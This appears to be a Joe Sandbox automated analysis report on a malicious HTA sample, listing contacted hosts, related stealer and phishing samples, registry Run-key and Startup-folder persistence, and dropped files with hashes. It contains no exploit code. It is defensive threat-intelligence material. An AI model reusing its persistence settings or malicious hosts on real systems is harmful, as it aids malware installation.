http://www.softwareok.com/?Download=Find.Same.Images.OK	cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000000.2753637619.00000001401F4000.00000002.00000001.01000000.00000021.sdmp	false		high
http://www.surfok.de/	comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1851526313.0000000004DD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000015.00000003.2521557740.00000199942C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.softwareok.com	IDRBackup.exe, 00000006.00000002.2160089196.00000000035A6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp, comvalidate_ljv3.exe, 00000021.00000002.2908314880.00000001401E0000.00000002.00000001.01000000.00000021.sdmp	false		high
http://www.sqlite.org/copyright.html.	IDRBackup.exe, 00000006.00000002.2434431528.0000000061EB1000.00000008.00000001.01000000.0000000E.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.140.237	pub-37d3986658af451c9d52bb9f482b3e2d.r2.dev	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561279
Start date and time:	2024-11-23 00:57:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	es.hta
Detection:	MAL
Classification:	mal100.expl.evad.winHTA@45/87@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 27 Number of non-executed functions: 130
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target IDRBackup.exe, PID 1852 because there are no executed function
Execution Graph export aborted for target IDRBackup.exe, PID 480 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2676 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:57:58	API Interceptor	49x Sleep call for process: powershell.exe modified
18:59:22	API Interceptor	2x Sleep call for process: svchost.exe modified
18:59:53	API Interceptor	2x Sleep call for process: comvalidate_ljv3.exe modified
23:58:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run iJOtPBQ C:\Users\user\AppData\Roaming\ONHQNHFT.msi
23:58:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run iJOtPBQ C:\Users\user\AppData\Roaming\ONHQNHFT.msi
23:59:29	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ProtectWordpad5.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.140.237	http://pub-04836febb1fc46fca4a8c225ef7d2a38.r2.dev/tantindex.html	Get hash	malicious	HTMLPhisher	Browse	pub-04836febb1fc46fca4a8c225ef7d2a38.r2.dev/tantindex.html
	http://pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.html	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	pub-17d7828daac64fc3a83940a40d8b01d8.r2.dev/qwertyuiopBowa.html
	http://pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html	Get hash	malicious	Unknown	Browse	pub-6abf9f4f2e414af1a92f1d0cac9c1674.r2.dev/auth_gen.html
	http://pub-2801359d2be54bfd8701132626efeb73.r2.dev/owoed.html	Get hash	malicious	HTMLPhisher	Browse	pub-2801359d2be54bfd8701132626efeb73.r2.dev/owoed.html
	http://pub-e1e4d0b4665d4d8996bf04516d898fb2.r2.dev/ddhjkindex.html	Get hash	malicious	HTMLPhisher	Browse	pub-e1e4d0b4665d4d8996bf04516d898fb2.r2.dev/ddhjkindex.html
	http://pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html	Get hash	malicious	HTMLPhisher	Browse	pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html
	http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html	Get hash	malicious	Unknown	Browse	pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html
	http://pub-581e9045502e43b8be4eb091f4c349ff.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-581e9045502e43b8be4eb091f4c349ff.r2.dev/index.html
	http://pub-2f611d096e8f43daa9347ca0cf8d9e84.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-2f611d096e8f43daa9347ca0cf8d9e84.r2.dev/index.html
	http://pub-3145f002774347449522e2ca2b2fbcb5.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-3145f002774347449522e2ca2b2fbcb5.r2.dev/index.html

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://fax-review-complete-signature-required.s3.us-east-1.amazonaws.com/Derwiiuw45FSDeerwyllakttqyhfffddd/ASgggsh65378Reloadfffax3527paogHjkks/Pdf.html	Get hash	malicious	Unknown	Browse	172.66.46.242
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	https://stewartforeverfarm.com/stewartforeverfarm.shtml%C2%A0	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	104.18.95.41
	file.exe	Get hash	malicious	Unknown	Browse	104.21.93.105
	http://www.buildermax.in/002/ww.htm	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	PDQConnectAgent-4.3.4.msi	Get hash	malicious	Unknown	Browse	104.16.77.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	162.159.140.237
	PDQConnectAgent-4.3.4.msi	Get hash	malicious	Unknown	Browse	162.159.140.237
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	162.159.140.237
	Setup.exe	Get hash	malicious	LummaC	Browse	162.159.140.237
	locker.exe	Get hash	malicious	AnonWorld	Browse	162.159.140.237
	http://147.45.47.98/js/error.js	Get hash	malicious	Unknown	Browse	162.159.140.237
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	162.159.140.237
	LRkZCtzQ3.ps1	Get hash	malicious	Unknown	Browse	162.159.140.237
	https://novelalert.cloudaccess.host/wp-admin/includes/contactamende/	Get hash	malicious	Unknown	Browse	162.159.140.237
	file.exe	Get hash	malicious	Unknown	Browse	162.159.140.237

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	MOD_200.pdf.lnk	Get hash	malicious	Arc Stealer	Browse
C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	kr5u9eDLvb.exe	Get hash	malicious	XWorm	Browse
	MOD_200.pdf.lnk	Get hash	malicious	Arc Stealer	Browse
	iTop Easy Desktop_Setup_IU.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\4fe763.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	10016
Entropy (8bit):	5.706774753329216
Encrypted:	false
SSDEEP:	96:t5KD/9BYWf34svsasz1Doi7ewXCXBwUt7CsThqwUt7C6jlYXCXcPThqAHS2FXhN4:ticWf34C1g1Doi7eXPtGIItGrTbrpe
MD5:	332EDDDEF030A735BCB8C5D14B6A6EF9
SHA1:	4D799B2E215FA54098FFBF2079AED043A1B170B7
SHA-256:	2B4FC3F1CD6A05FFABD0785885E8DF33FD292EC3C7BA39D15D5284BA709913D8
SHA-512:	7B958E7CBDE76895261B787744F33A2693A06D24FE9CD1008B80CD4A4AE06FAFF2D257EC85A5CE2F19029389B9540753F3392D463AC4ACF79DDE0D5B8F209D9E
Malicious:	false
Preview:	...@IXOS.@.....@I.vY.@.....@.....@.....@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..Gratin..ONHQNHFT.msi.@.....@.....@.....@........&.{F8287FD5-FF2A-4270-84E3-45317986F30E}.....@.....@.....@.....@.......@.....@.....@.......@......Gratin......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{E20E89CA-95F6-5DEE-87C2-2010D7F7BD02}&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}.@......&.{C563E190-FFF5-5EB2-96EE-2ABF7AD28F4C}&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}.@......&.{61B0744F-3BCA-52D6-B8E9-FDAED81FE5E3}&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}.@......&.{2686B041-402A-53FD-9258-4FE6A6C3E662}&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}.@......&.{95C0C730-48E2-51E1-AD09-926C08DAB44F}&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}.@......&.{00147D0D-6F7D-5B3D-8B15-2118E97654A9}&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}.@......&.{354D43C3-7E39-50BC-B4D6-BAA6879B7DBF}&.{4D89D5F7-3F05-4FE5-88CD-06F9F

C:\Config.Msi\4fe765.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	3759
Entropy (8bit):	5.0179318291024915
Encrypted:	false
SSDEEP:	96:r5GeKXctThqAsXcwThqA4wXYsXgSBtyBUy:rweTOq/
MD5:	06278AC2D5E2FA71388A14EE3622B566
SHA1:	9C07C99FE645F38043D3D62734DA7D8C49AE79FF
SHA-256:	08411E53A7D0C1256648B9F2B7FE33559CBB1D835D527F7BA289993EC028A52B
SHA-512:	28CA974DE7704CC33045DA03F819CDB4633B6EF2B694862576D1B6642E408CB122C45F19C3159B3103B29D6A0F3A464C9A104E8693ACA9AD51D43D2FB6E7E8F9
Malicious:	false
Preview:	...@IXOS.@.....@O.vY.@.....@.....@.....@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..Gratin..ONHQNHFT.msi.@.....@.....@.....@........&.{F8287FD5-FF2A-4270-84E3-45317986F30E}.....@.....@.....@.....@.......@.....@.....@.......@......Gratin......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1002\Products\7F5D98D450F35EF488DC609F4F7BEF86\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!................... ...!.......?........... ... ................... ... .......?.......................................?..........................................................................

C:\Config.Msi\4fe766.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	3759
Entropy (8bit):	5.01710343265942
Encrypted:	false
SSDEEP:	96:X5GeKXctThqAsXcwThqA4wXYsXgSBtyBUy:XweTOq/
MD5:	7A6EA32316C4F7BA8885D8992F853F45
SHA1:	1CC7F904537C3C5CBDE44BD92B8CD7AFC1DD85F0
SHA-256:	1EBA2BC8292EB7F58F58E19015CA509143A669E209EB9F932ABCE489B46F5E6B
SHA-512:	A085D039FDF4D2056CCD8F2DB043A8B01977EFD3FCF107FFB2F4A681D6563C6B0AA9224F2A10899412079C1965BCFF67674DEF75A3C391A8A57D976D85BA898A
Malicious:	false
Preview:	...@IXOS.@.....@S.vY.@.....@.....@.....@.....@.....@......&.{4D89D5F7-3F05-4FE5-88CD-06F9F4B7FE68}..Gratin..ONHQNHFT.msi.@.....@.....@.....@........&.{F8287FD5-FF2A-4270-84E3-45317986F30E}.....@.....@.....@.....@.......@.....@.....@.......@......Gratin......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....RegisterProduct..Registering product..[1]$..@......Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-2246122658-3693405117-2476756634-1002\Products\7F5D98D450F35EF488DC609F4F7BEF86\InstallPropertiesx.....\...l.............H.........?...................9...................?........... ... ........... ... ................@....$..@....3.Software\Microsoft\Windows\CurrentVersion\Uninstall.............................................. ...!................... ...!.......?........... ... ................... ... .......?.......................................?..........................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3300770084471933
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	1305634A08DB953426D2658C2F7E251A
SHA1:	0CCC2A1B233C539AF1A72F54DDEA2F03C0319B15
SHA-256:	5C8AF1875CEC4E3133EDFACC87F47919C4453097A6A4120C9A68C205DB7846BE
SHA-512:	54F77E35FE28C3098B3F317F9D92BDA173B24185175128060C737AC23FC1CAA662BADA7EF8F2ED9620FEBC9F25B63923D7AE2F21486248507F7D6B0206C22B9C
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3562bd0a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4222006586255025
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	F799E4753B832336536BC66B9CC3CD79
SHA1:	14F860039972CA64AA353D90C876CB09B9AF5EBD
SHA-256:	91189F35CE68A587E13178564D987EE89FBB482D7256342BE170D04B03E99B9D
SHA-512:	F84A7720BD0DE64594D252E79C3B3A8082A4650D687F16724ABC0119D641B2036C68158F7BED495F361EEB83C17016326427BF2ADAB87D17DB947292D72DAAC5
Malicious:	false
Preview:	5b..... .......A.......X\...;...{......................0.!..........{A..;...\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................q....;...\|...................'...;...\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07702254328717484
Encrypted:	false
SSDEEP:	3:fmyYeEBuZ2h+0hajn13a/ddtCIhl/l/ollcVO/lnlZMxZNQl:fZz4+0ha53qntDXAOewk
MD5:	D905BC27BDFDDC5B2D59DEC894CDF8C5
SHA1:	5D68425FA4081C7626EB5D779CD3538F94DA9993
SHA-256:	65268C168FE6D07B7221CC57960607304E4B605FAF720B2A7AAB0B0593762E8E
SHA-512:	708B35FB862AEE0D4771AF92E0D6D7394C5995594D98FBDA478285ED4C115E560C249ABA845AB5912E78A7D7D0C3D8160C5A1147E57D16888521027E641F6B8F
Malicious:	false
Preview:	/d1......................................;...{...;...\|.......{A..............{A......{A..........{A].................'...;...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1344
Entropy (8bit):	5.423241411219678
Encrypted:	false
SSDEEP:	24:3j1WSKco4KmZjKbm51s4RPT6moUebIKo+mZ9t7J0gt/NK3R8O9r8HNBw:5WSU4xymI4RfoUeW+mZ9tK8NWR8G6Bw
MD5:	AF51354A19B2A84369DEC13A6DED908C
SHA1:	A45246A3EF04068B6ECE301F7B6288CAC0D43D76
SHA-256:	F42BA1B4A5E49301D550DFC5CA85ED4160508D13509F0C237B35E71432C549B0
SHA-512:	377702D7ECE2AE8F18BA85DA88D8E7DE4C1DB45DB8DB4F5BA1CEBE0B4D4DB7239A1412A39C36E7CE4C8269B678E7BF6013F1B11C80E3CCFAF9AF40CA0B6BBD2E
Malicious:	false
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\51e17822

Download File

Process:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	5662857
Entropy (8bit):	7.725438695146695
Encrypted:	false
SSDEEP:	98304:V5oX7896Uujy9MPrg544yi5gZbNdega2s7WUhc/urbX:8X78gLy9MTg5jyiuNdXa2sSEX
MD5:	1E6E49578749BE3633992B5829DE3684
SHA1:	52B58927E093DEA2A5CA2DE9265D6C510930C411
SHA-256:	058581556DDEB73D28742D8D17DE7983F364F6554EC0483930DA7BE68E3C0406
SHA-512:	4945F04FC50B005D37AA05246FBDAA5C6D44F418B54FEF597140C0CE5A7CF9A8C27E42A0DD5B7BCEC108A47C98EDFB11ACAB0BF49D1FCA3696607933E0311218
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5296c752

Download File

Process:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	5662857
Entropy (8bit):	7.725438153033236
Encrypted:	false
SSDEEP:	98304:V5oX7896Uujy9MPrg544yi5gZbNdega2s7WUhc/urbX:8X78gLy9MTg5jyiuNdXa2sSEX
MD5:	060E7CB0E8D1C9B5611608FA20E7C0CD
SHA1:	9B495BEEF31F405CB24FC677B8DEE1241B55F816
SHA-256:	E1C92A3B3F4194C4373838CF988D5286CB2C33B368E86F2C3094DE0DB3A3CC7E
SHA-512:	AC795EBC24D057074073700B7B7A39BB16F655629A2F3C2ED3D81574D76959C88FD1E90780A6A396BF304DEC0EC030871868569C9229ADE29DC4198FFCB9A543
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\59268cf1

Download File

Process:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	5662857
Entropy (8bit):	7.725438567182803
Encrypted:	false
SSDEEP:	98304:55oX7896Uujy9MPrg544yi5gZbNdega2s7WUhc/urbX:wX78gLy9MTg5jyiuNdXa2sSEX
MD5:	CC17D1A15CDFC68390E039ED21E95E90
SHA1:	0C05E633712CEC4A61335C4FC414CB2A55A2C01F
SHA-256:	19B1CB1D908447102CBF370FE984A582819373F1BE005E431CF0685514F5019F
SHA-512:	B748198224B60126E591787C054ADDEB8AD9C724D549EB612BBC6A8647CBA29A67C1765848486C044679B5A6654B931814A94A4637846D711879C1FE1FFC439E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6288deb6

Download File

Process:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	5662857
Entropy (8bit):	7.725438616408039
Encrypted:	false
SSDEEP:	98304:j5oX7896Uujy9MPrg544yi5gZbNdega2s7WUhc/urbX:6X78gLy9MTg5jyiuNdXa2sSEX
MD5:	0038C0EB6D493576AF35B4EF8EBD8F82
SHA1:	9461E002E7F8EA99704C388F2655FF0C483D9E19
SHA-256:	BD6757DAE3E5E64E86B7F3A46FE39C3C1CD65D3692FFA047243ABD19EB684CDE
SHA-512:	6CF5C08221830E5475F9AD3C27562A3D7B8EA52C0346D9ED922396850D27053DC95CFA27C1C83BCBB4608D546F66783FEF233EBD65DA4EEC9DA0C0925F70EAB0
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\68433fa1

Download File

Process:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	5662857
Entropy (8bit):	7.725438725151101
Encrypted:	false
SSDEEP:	98304:T5oX7896Uujy9MPrg544yi5gZbNdega2s7WUhc/urbX:qX78gLy9MTg5jyiuNdXa2sSEX
MD5:	340297DB38795B43A84B3C9414973856
SHA1:	2C3AD7BDE0A93E2153EFA33B60B902D8B0DA0F75
SHA-256:	9DA264784F166707B52C2290209A1D0609160C7A8E657FBE0A69B7D200AD4A92
SHA-512:	588F23A04081167E3C103B4702D3DE1BC6179239ECB07487FC4FCC03B4F9D8846E23059E9CA42276F2C6A5F3FE715FDE71A9774CF94D692CD0DFDC7C1E20EF55
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6a8dc2ae

Download File

Process:	C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe
File Type:	data
Category:	dropped
Size (bytes):	5662857
Entropy (8bit):	7.725438032432923
Encrypted:	false
SSDEEP:	98304:q5oX7896Uujy9MPrg544yi5gZbNdega2s7WUhc/urbX:rX78gLy9MTg5jyiuNdXa2sSEX
MD5:	A353ABC1C97D715390EDDCDA03F670FA
SHA1:	045FCFAD64EE30C99BA52D8CD8D1142A87CF8399
SHA-256:	C31BDD77754F497F01C26F446687709A96CE61EF26001596602276ED8B3CDAD3
SHA-512:	0F472B5E991C0A1FE46D6437BE8493387BED7504871FC23AB2D1E9898264055CBE17AED28F3C7C69591758A9C9776D21333F177096451869335B5F2A90E25E09
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2137808
Entropy (8bit):	6.8117077805342365
Encrypted:	false
SSDEEP:	24576:fsLSdP5XOFS5DbCVVtBF8SIIa0awy+qW5M8hbGY7WVaQX/VjjFD7YpmTfWD3B7jn:ELmVOFUK1JIIa0awN5d7WVaQX1T+z9D
MD5:	371C165E3E3C1A000051B78D7B0E7E79
SHA1:	2A2ECBBD4840C486B3507A18307369336EC5A1AA
SHA-256:	5AE3838D77C2102766538F783D0A4B4205E7D2CDBA4E0AD2AB332DC8AB32FEA9
SHA-512:	4E6BD3F85C71A8FF0DB1E92675295D5BBD0EE8CF24D4DF4150A922E9C25FA1F7116263AC4E55C9A9420416FD0388DB593C1FE43D22D0A8D25CAA20EEB13F5080
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: MOD_200.pdf.lnk, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....Yif.....................~....................@...........................$.....%. ..........@...................................................8 ..f.......$......................................................,"...........................text...h........................... ..`.itext.............................. ..`.data...@...........................@....bss.....................................idata..............................@....tls.........p...........................rdata..............................@..@.reloc...$.......&...0..............@..B.rsrc................V..............@..@.............`".....................@..@................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\datastate.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	60928
Entropy (8bit):	6.076596555078833
Encrypted:	false
SSDEEP:	768:2d3yLVTcRkZrVlqE6BY6TalNPzrrSRTy3IXGX8prYXDRMLu8Vp4:GCpTzriE6BYrrJIXJpCRM68Vp4
MD5:	F2986DC64A9ECCFAD317CB01A42954BC
SHA1:	84838D33FDE059E3AED7AD38B09642C802F0EAC8
SHA-256:	86C75285D2E51B8E5BA2191C6B1888BBE69437B767E19C530771C08F6FAC7C46
